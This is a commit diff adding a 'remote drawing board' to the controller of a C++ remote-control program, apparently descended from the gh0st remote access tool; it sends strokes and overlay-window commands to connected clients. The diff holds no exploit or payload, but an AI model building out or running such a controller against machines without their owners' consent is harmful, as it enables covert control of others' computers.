#145 Support remote drawing board

server/2015Remote/2015RemoteDlg.cpp

@@ -38,6 +38,7 @@
 #include "adapter.h"
 #include "client/MemoryModule.h"
 #include <file/CFileManagerDlg.h>
+#include "CDrawingBoard.h"
 
 #ifdef _DEBUG
 #define new DEBUG_NEW
@@ -385,6 +386,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
 	ON_MESSAGE(WM_OPENCHATDIALOG, OnOpenChatDialog)
 	ON_MESSAGE(WM_OPENDECRYPTDIALOG, OnOpenDecryptDialog)
 	ON_MESSAGE(WM_OPENFILEMGRDIALOG, OnOpenFileMgrDialog)
+	ON_MESSAGE(WM_OPENDRAWINGBOARD, OnOpenDrawingBoard)
 	ON_MESSAGE(WM_UPXTASKRESULT, UPXProcResult)
 	ON_WM_HELPINFO()
 	ON_COMMAND(ID_ONLINE_SHARE, &CMy2015RemoteDlg::OnOnlineShare)
@@ -1811,6 +1813,11 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
 			ContextObject->Destroy();
 			break;
 		}
+	case TOKEN_DRAWING_BOARD:
+	{
+		g_2015RemoteDlg->SendMessage(WM_OPENDRAWINGBOARD, 0, (LPARAM)ContextObject);
+		break;
+	}
 	case TOKEN_DRIVE_LIST_PLUGIN: // 文件管理
 	{
 		g_2015RemoteDlg->SendMessage(WM_OPENFILEMGRDIALOG, 0, (LPARAM)ContextObject);
@@ -2135,6 +2142,11 @@ LRESULT CMy2015RemoteDlg::OnOpenFileMgrDialog(WPARAM wParam, LPARAM lParam)
 	return OpenDialog<file::CFileManagerDlg, IDD_FILE_WINOS>(wParam, lParam);
 }
 
+LRESULT CMy2015RemoteDlg::OnOpenDrawingBoard(WPARAM wParam, LPARAM lParam)
+{
+	return OpenDialog<CDrawingBoard, IDD_DRAWING_BOARD>(wParam, lParam);
+}
+
 BOOL CMy2015RemoteDlg::OnHelpInfo(HELPINFO* pHelpInfo)
 {
 	MessageBox("Copyleft (c) FTU 2025", "关于");

server/2015Remote/2015RemoteDlg.h

@@ -242,6 +242,7 @@ public:
 	afx_msg LRESULT OnOpenChatDialog(WPARAM wParam, LPARAM lParam);
 	afx_msg LRESULT OnOpenDecryptDialog(WPARAM wParam, LPARAM lParam);
 	afx_msg LRESULT OnOpenFileMgrDialog(WPARAM wParam, LPARAM lParam);
+	afx_msg LRESULT OnOpenDrawingBoard(WPARAM wParam, LPARAM lParam);
 	afx_msg LRESULT UPXProcResult(WPARAM wParam, LPARAM lParam);
 	afx_msg BOOL OnHelpInfo(HELPINFO* pHelpInfo);
 	virtual BOOL PreTranslateMessage(MSG* pMsg);

server/2015Remote/2015Remote_vs2015.vcxproj

@@ -260,6 +260,7 @@
     <ClInclude Include="AudioDlg.h" />
     <ClInclude Include="Buffer.h" />
     <ClInclude Include="BuildDlg.h" />
+    <ClInclude Include="CDrawingBoard.h" />
     <ClInclude Include="Chat.h" />
     <ClInclude Include="CPasswordDlg.h" />
     <ClInclude Include="CTextDlg.h" />
@@ -322,6 +323,7 @@
     <ClCompile Include="AudioDlg.cpp" />
     <ClCompile Include="Buffer.cpp" />
     <ClCompile Include="BuildDlg.cpp" />
+    <ClCompile Include="CDrawingBoard.cpp" />
     <ClCompile Include="Chat.cpp" />
     <ClCompile Include="CPasswordDlg.cpp" />
     <ClCompile Include="CTextDlg.cpp" />
@@ -380,6 +382,7 @@
   </ItemGroup>
   <ItemGroup>
     <Image Include="res\Bitmap\authorize.bmp" />
+    <Image Include="res\Bitmap\DrawingBoard.bmp" />
     <Image Include="res\Bitmap\DxgiDesktop.bmp" />
     <Image Include="res\Bitmap\GrayDesktop.bmp" />
     <Image Include="res\Bitmap\note.bmp" />
@@ -393,6 +396,7 @@
     <Image Include="res\chat.ico" />
     <Image Include="res\decrypt.ico" />
     <Image Include="res\delete.bmp" />
+    <Image Include="res\DrawingBoard.ico" />
     <Image Include="res\file\FILE.ico" />
     <Image Include="res\file\Icon_A.ico" />
     <Image Include="res\file\Icon_C.ico" />

server/2015Remote/2015Remote_vs2015.vcxproj.filters

@@ -49,6 +49,7 @@
       <Filter>file</Filter>
     </ClCompile>
     <ClCompile Include="IOCPUDPServer.cpp" />
+    <ClCompile Include="CDrawingBoard.cpp" />
   </ItemGroup>
   <ItemGroup>
     <ClInclude Include="..\..\client\Audio.h" />
@@ -110,6 +111,7 @@
     </ClInclude>
     <ClInclude Include="IOCPUDPServer.h" />
     <ClInclude Include="Server.h" />
+    <ClInclude Include="CDrawingBoard.h" />
   </ItemGroup>
   <ItemGroup>
     <ResourceCompile Include="2015Remote.rc" />
@@ -148,6 +150,8 @@
     <Image Include="res\file\Icon_E.ico" />
     <Image Include="res\file\Icon_F.ico" />
     <Image Include="res\file\Icon_G.ico" />
+    <Image Include="res\Bitmap\DrawingBoard.bmp" />
+    <Image Include="res\DrawingBoard.ico" />
   </ItemGroup>
   <ItemGroup>
     <None Include="..\..\Release\ghost.exe" />

server/2015Remote/CDrawingBoard.cpp

@@ -0,0 +1,218 @@
+#include "stdafx.h"
+#include "CDrawingBoard.h"
+#include "afxdialogex.h"
+#include "Resource.h"
+
+IMPLEMENT_DYNAMIC(CDrawingBoard, CDialog)
+
+CDrawingBoard::CDrawingBoard(CWnd* pParent, Server* IOCPServer, CONTEXT_OBJECT* ContextObject)
+	: DialogBase(IDD_DRAWING_BOARD, pParent, IOCPServer, ContextObject, IDI_ICON_DRAWING), 
+	m_bDrawing(false)
+{
+	m_bTopMost = true;
+	m_bTransport = true;
+	m_bMoving = false;
+	m_bSizing = false;
+}
+
+CDrawingBoard::~CDrawingBoard()
+{
+}
+
+void CDrawingBoard::DoDataExchange(CDataExchange* pDX)
+{
+	CDialog::DoDataExchange(pDX);
+}
+
+BEGIN_MESSAGE_MAP(CDrawingBoard, CDialog)
+	ON_WM_CLOSE()
+	ON_WM_SIZE()
+	ON_WM_PAINT()
+	ON_WM_LBUTTONDOWN()
+	ON_WM_MOUSEMOVE()
+	ON_WM_LBUTTONUP()
+	ON_WM_WINDOWPOSCHANGED()
+	ON_COMMAND(ID_DRAWING_TOPMOST, &CDrawingBoard::OnDrawingTopmost)
+	ON_COMMAND(ID_DRAWING_TRANSPORT, &CDrawingBoard::OnDrawingTransport)
+	ON_COMMAND(ID_DRAWING_MOVE, &CDrawingBoard::OnDrawingMove)
+	ON_COMMAND(ID_DRAWING_SIZE, &CDrawingBoard::OnDrawingSize)
+	ON_COMMAND(ID_DRAWING_CLEAR, &CDrawingBoard::OnDrawingClear)
+END_MESSAGE_MAP()
+
+void CDrawingBoard::OnReceiveComplete()
+{
+	// 接收时处理逻辑（暂空）
+}
+
+void CDrawingBoard::OnClose()
+{
+	CancelIO();
+	if (IsProcessing()) {
+		ShowWindow(SW_HIDE);
+		return;
+	}
+	DialogBase::OnClose();
+}
+
+void CDrawingBoard::OnPaint()
+{
+	CPaintDC dc(this);
+
+	CPen pen(PS_SOLID, 2, RGB(0, 0, 0));
+	CPen* pOldPen = dc.SelectObject(&pen);
+
+	for (const auto& path : m_paths)
+	{
+		if (path.size() < 2) continue;
+
+		dc.MoveTo(path[0]);
+		for (size_t i = 1; i < path.size(); ++i)
+			dc.LineTo(path[i]);
+	}
+
+	if (m_bDrawing && m_currentPath.size() >= 2)
+	{
+		dc.MoveTo(m_currentPath[0]);
+		for (size_t i = 1; i < m_currentPath.size(); ++i)
+			dc.LineTo(m_currentPath[i]);
+	}
+
+	dc.SelectObject(pOldPen);
+}
+
+void CDrawingBoard::OnLButtonDown(UINT nFlags, CPoint point)
+{
+	m_bDrawing = true;
+	m_currentPath.clear();
+	m_currentPath.push_back(point);
+
+	SetCapture();
+}
+
+void CDrawingBoard::OnMouseMove(UINT nFlags, CPoint point)
+{
+	if (m_bDrawing)
+	{
+		m_currentPath.push_back(point);
+		Invalidate(FALSE);
+
+		// 发送当前点
+		BYTE pkg[1 + sizeof(POINT)] = { CMD_DRAW_POINT };
+		memcpy(pkg + 1, &point, sizeof(POINT));
+		m_ContextObject->Send2Client((BYTE*)pkg, sizeof(pkg));
+	}
+}
+
+void CDrawingBoard::OnLButtonUp(UINT nFlags, CPoint point)
+{
+	if (m_bDrawing)
+	{
+		m_bDrawing = false;
+		m_currentPath.push_back(point);
+		ReleaseCapture();
+
+		m_paths.push_back(m_currentPath);
+		Invalidate();
+
+		// 发送结束命令，表示当前路径完成
+		BYTE endCmd = CMD_DRAW_END;
+		m_ContextObject->Send2Client(&endCmd, 1);
+	}
+}
+
+void CDrawingBoard::OnWindowPosChanged(WINDOWPOS* lpwndpos)
+{
+	CDialog::OnWindowPosChanged(lpwndpos);
+	if (!m_bMoving) return;
+
+	CRect rect;
+	GetWindowRect(&rect);  // 获取当前窗口屏幕位置
+	BYTE pkg[1 + sizeof(CRect)] = { CMD_MOVEWINDOW };
+	if (!m_bSizing) {
+		rect.right = rect.left;
+		rect.bottom = rect.top;
+	}
+	memcpy(pkg + 1, &rect, sizeof(CRect));
+	m_ContextObject->Send2Client((BYTE*)pkg, sizeof(pkg));
+}
+
+void CDrawingBoard::OnSize(UINT nType, int cx, int cy)
+{
+	CDialog::OnSize(nType, cx, cy);
+	if (!m_bSizing) return;
+
+	// 发送新的窗口尺寸到客户端
+	int sizeData[2] = { cx, cy };
+	BYTE pkg[sizeof(sizeData) + 1] = { CMD_SET_SIZE };
+	memcpy(pkg + 1, &sizeData, sizeof(sizeData));
+	m_ContextObject->Send2Client((PBYTE)pkg, sizeof(pkg));
+}
+
+void CDrawingBoard::OnDrawingTopmost()
+{
+	m_bTopMost = !m_bTopMost;
+	BYTE cmd[2] = { CMD_TOPMOST, m_bTopMost };
+	m_ContextObject->Send2Client((PBYTE)cmd, sizeof(cmd));
+	HMENU hMenu = ::GetMenu(this->GetSafeHwnd());
+	int n = m_bTopMost ? MF_CHECKED : MF_UNCHECKED;
+	::CheckMenuItem(hMenu, ID_DRAWING_TOPMOST, MF_BYCOMMAND | n);
+}
+
+
+void CDrawingBoard::OnDrawingTransport()
+{
+	m_bTransport = !m_bTransport;
+	BYTE cmd[2] = { CMD_TRANSPORT, m_bTransport };
+	m_ContextObject->Send2Client((PBYTE)cmd, sizeof(cmd));
+	HMENU hMenu = ::GetMenu(this->GetSafeHwnd());
+	int n = m_bTransport ? MF_CHECKED : MF_UNCHECKED;
+	::CheckMenuItem(hMenu, ID_DRAWING_TRANSPORT, MF_BYCOMMAND | n);
+}
+
+
+void CDrawingBoard::OnDrawingMove()
+{
+	m_bMoving = !m_bMoving;
+	HMENU hMenu = ::GetMenu(this->GetSafeHwnd());
+	int cmd = m_bMoving ? MF_CHECKED : MF_UNCHECKED;
+	::CheckMenuItem(hMenu, ID_DRAWING_MOVE, MF_BYCOMMAND | cmd);
+}
+
+
+void CDrawingBoard::OnDrawingSize()
+{
+	m_bSizing = !m_bSizing;
+	HMENU hMenu = ::GetMenu(this->GetSafeHwnd());
+	int cmd = m_bSizing ? MF_CHECKED : MF_UNCHECKED;
+	::CheckMenuItem(hMenu, ID_DRAWING_SIZE, MF_BYCOMMAND | cmd);
+}
+
+
+BOOL CDrawingBoard::OnInitDialog()
+{
+	DialogBase::OnInitDialog();
+
+	SetIcon(m_hIcon, TRUE);
+	SetIcon(m_hIcon, FALSE);
+
+	CString str;
+	str.Format("%s - 画板演示", m_IPAddress);
+	SetWindowText(str);
+
+	HMENU hMenu = ::GetMenu(this->GetSafeHwnd());
+	::CheckMenuItem(hMenu, ID_DRAWING_TOPMOST, MF_BYCOMMAND | MF_CHECKED);
+	::CheckMenuItem(hMenu, ID_DRAWING_TRANSPORT, MF_BYCOMMAND | MF_CHECKED);
+
+	return TRUE;
+}
+
+
+void CDrawingBoard::OnDrawingClear()
+{
+	m_paths.clear();
+	m_currentPath.clear();
+	BYTE cmd[2] = { CMD_DRAW_CLEAR, 0 };
+	m_ContextObject->Send2Client((PBYTE)cmd, sizeof(cmd));
+	if (m_hWnd && IsWindow(m_hWnd))
+		::InvalidateRect(m_hWnd, NULL, TRUE);  // 重绘整个窗口，清除痕迹
+}

server/2015Remote/CDrawingBoard.h

@@ -0,0 +1,50 @@
+#pragma once
+#include "IOCPServer.h"
+#include "afxwin.h"
+
+// CDrawingBoard 对话框
+
+class CDrawingBoard : public DialogBase
+{
+	DECLARE_DYNAMIC(CDrawingBoard)
+
+public:
+	CDrawingBoard(CWnd* pParent = nullptr, Server* IOCPServer = NULL, CONTEXT_OBJECT* ContextObject = NULL);
+	virtual ~CDrawingBoard();
+
+#ifdef AFX_DESIGN_TIME
+	enum { IDD = IDD_DRAWING_BOARD };
+#endif
+
+	VOID OnReceiveComplete();
+
+	afx_msg void OnPaint();
+	afx_msg void OnLButtonDown(UINT nFlags, CPoint point);
+	afx_msg void OnMouseMove(UINT nFlags, CPoint point);
+	afx_msg void OnLButtonUp(UINT nFlags, CPoint point);
+	afx_msg void OnWindowPosChanged(WINDOWPOS* lpwndpos);
+	afx_msg void OnSize(UINT nType, int cx, int cy);
+
+protected:
+	virtual void DoDataExchange(CDataExchange* pDX);
+
+	void OnClose();
+
+	DECLARE_MESSAGE_MAP()
+
+private:
+	bool m_bTopMost;							 // 置顶
+	bool m_bTransport;							 // 半透明
+	bool m_bMoving;								 // 位置跟随
+	bool m_bSizing;								 // 大小跟随
+	bool m_bDrawing;                             // 是否正在绘图
+	std::vector<CPoint> m_currentPath;           // 当前路径点
+	std::vector<std::vector<CPoint>> m_paths;    // 所有路径
+public:
+	afx_msg void OnDrawingTopmost();
+	afx_msg void OnDrawingTransport();
+	afx_msg void OnDrawingMove();
+	afx_msg void OnDrawingSize();
+	virtual BOOL OnInitDialog();
+	afx_msg void OnDrawingClear();
+};

server/2015Remote/IOCPServer.cpp

@@ -566,10 +566,12 @@ BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT  ContextObject, DWORD dwTrans
 BOOL WriteContextData(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOriginalLength) {
 	assert(ContextObject);
 	// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>͵<EFBFBD><CDB5><EFBFBD><EFBFBD><EFBFBD>
-	if (ulOriginalLength < 100 && szBuffer[0] != COMMAND_SCREEN_CONTROL && szBuffer[0] != CMD_HEARTBEAT_ACK) {
+	unsigned cmd = szBuffer[0];
+	if (ulOriginalLength < 100 && cmd != COMMAND_SCREEN_CONTROL && cmd != CMD_HEARTBEAT_ACK &&
+		cmd != CMD_DRAW_POINT && cmd != CMD_MOVEWINDOW && cmd != CMD_SET_SIZE) {
 		char buf[100] = { 0 };
 		if (ulOriginalLength == 1){
-			sprintf_s(buf, "command %d", int(szBuffer[0]));
+			sprintf_s(buf, "command %d", cmd);
 		}
 		else {
 			memcpy(buf, szBuffer, ulOriginalLength);

server/2015Remote/stdafx.h

@@ -80,6 +80,7 @@
 #define WM_OPENCHATDIALOG				WM_USER+3017
 #define WM_OPENDECRYPTDIALOG			WM_USER+3018
 #define WM_OPENFILEMGRDIALOG			WM_USER+3019
+#define WM_OPENDRAWINGBOARD				WM_USER+3020
 
 #ifdef _UNICODE
 #if defined _M_IX86